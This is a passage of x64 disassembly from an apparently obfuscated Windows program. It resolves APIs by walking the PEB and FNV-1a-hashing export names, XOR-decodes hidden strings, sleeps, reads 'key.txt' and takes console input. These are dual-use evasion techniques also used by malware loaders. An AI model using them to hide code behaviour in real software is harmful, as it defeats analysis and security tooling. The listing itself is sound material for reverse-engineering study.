mov r8d, r15d
cmp r12d, 2
jl 0x14001698b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016880
cmp r8d, 0x15
jge 0x1400169d5
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400169a0
lea rcx, [rbp]
call r11
mov eax, dword [0x1400865b0]
mov dword [rsp + 0x64], eax
movzx eax, word [0x1400865b4]
mov word [rsp + 0x68], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400865b6]
mov byte [rsp + 0x64], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x65], 0x3a
xor byte [rsp + 0x66], 0x3b
xor byte [rsp + 0x67], 0x3c
xor byte [rsp + 0x68], 0x3d
xor byte [rsp + 0x69], 0x3e
xor al, 0x3f
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x64]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016ac6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016ac6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016ac1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016aa0
cmp r8d, 0x2fa62ca8
je 0x140016acb
test r9d, r9d
jne 0x140016a80
mov rax, qword [rax]
jmp 0x140016a50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x1400865b8]
mov dword [rsp + 0x6c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016b86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016b86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016b81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016b60
cmp r8d, 0x491e0a9c
je 0x140016b8b
test r9d, r9d
jne 0x140016b40
mov rax, qword [rax]
jmp 0x140016b10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140016c39
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsp + 0x6c]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x140016c85
lea r9, [rsp + 0x6c]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140016c50
lea rcx, [rsp + 0x6c]
call r11
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x690]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x1400865c0]
mov qword [rbp - 0x78], rax
cmp byte [0x1400865c7], 0
je 0x140016e05
cmp r12d, 2
jl 0x140016dc9
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400869c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400869e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
mov eax, dword [0x140086ad0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x78]
xorps xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x1400869d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400869e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
xorps xmm2, xmm1
movd dword [rbp - 0x74], xmm2
jmp 0x140016e05
lea r9, [rbp - 0x78]
mov r8d, r15d
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140016dd0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x690]
call fcn.140003010
nop
mov rax, qword [rbp + 0x690]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x690]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140017581
xor r8d, r8d
lea rdx, str.key.txt
lea rcx, [rbp + 0x1d0]
call fcn.1400014c0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140009a90
movzx ebx, al
lea rcx, [rbp + 0x1d0]
call fcn.140004020
test bl, bl
je 0x14001817b
lea rdx, [rbp + 0x510]
lea rcx, [rsp + 0x30]
call fcn.140004e70
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016f26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016f26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140016f21
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140016f00
cmp r8d, 0xe76fb4aa
je 0x140016f2b
test r9d, r9d
jne 0x140016ee0
mov rcx, qword [rcx]
jmp 0x140016eb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x1400170e5
mov r8d, r15d
cmp r12d, 2
jl 0x14001709c
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016f91
cmp r8d, 0x15
jge 0x1400170e5
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400170b0
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x4b0]
lea rcx, [rsp + 0x30]
call fcn.140004ed0
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x1400172b5
mov r8d, r15d
cmp r12d, 2
jl 0x14001726b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140017160
cmp r8d, 0x14
jge 0x1400172b5
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140017280
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017356
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017356
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017351
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017330
cmp r8d, 0x2fa62ca8
je 0x14001735b
test r9d, r9d
jne 0x140017310
mov rax, qword [rax]
jmp 0x1400172e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.140004ef0
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400174e5
cmp r12d, 2
jl 0x1400174a9
movdqa xmm4, xmmword [0x140086cd0]
movd xmm5, r14d
movd xmm6, r13d
movdqa xmm2, xmmword [0x1400869c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400869e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
mov eax, dword [0x140086ad0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400869d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400869e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1400174e5
mov r9, r10
mov r8d, r15d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400174b0
mov rdx, r10
lea rcx, [rbp + 0x800]
call fcn.1400032d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140003430
nop
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x330]
call fcn.14000f0a0
mov rdx, rax
lea rcx, [rbp + 0x7e0]
call fcn.140004b90
lea rcx, [rbp + 0x330]
call fcn.140003fc0
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x310]
call fcn.1400031f0
mov rdx, rax
lea rcx, [0x1400baa00]
call fcn.14002c2d0
cmp byte [0x1400bac10], 0
jne 0x140017568
lea rcx, [rbp + 0x690]
call fcn.1400059d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x800]
jmp 0x140018176
mov rax, qword [rbp + 0x690]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x690]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x14001817b
movups xmm0, xmmword [0x140086600]
movups xmmword [rbp + 0x60], xmm0
mov eax, dword [0x140086610]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x140086614]
mov byte [rbp + 0x74], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017656
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017656
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017651
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017630
cmp r8d, 0xe76fb4aa
je 0x14001765b
test r9d, r9d
jne 0x140017610
mov rax, qword [rax]
jmp 0x1400175e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x1400177cb
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x64]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400176c0
cmp r8d, 0x15
jge 0x140017815
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400177e0
lea rcx, [rbp + 0x60]
call r11
movups xmm0, xmmword [0x140086618]
movups xmmword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x140086628]
movsd qword [rbp + 0xd8], xmm0
movzx eax, word [0x140086630]
mov word [rbp + 0xe0], ax
cmp byte [0x140086631], 0
je 0x1400179f5
mov r8d, r15d
cmp r12d, 2
jl 0x1400179ab
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xcc]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400178a0
cmp r8d, 0x1a
jge 0x1400179f5
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400179c0
lea rdx, [rbp + 0xc8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [0x1400869b0]
movdqu xmmword [rbp + 0x7d0], xmm1
mov byte [rbp + 0x7c0], 0
lea rdx, [rbp + 0x7c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001750
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x2f0]
call fcn.1400031f0
mov rdx, rax
lea rcx, [0x1400baa00]
call fcn.14002c2d0
cmp byte [0x1400bac10], 0
jne 0x140018102
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.140004f00
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
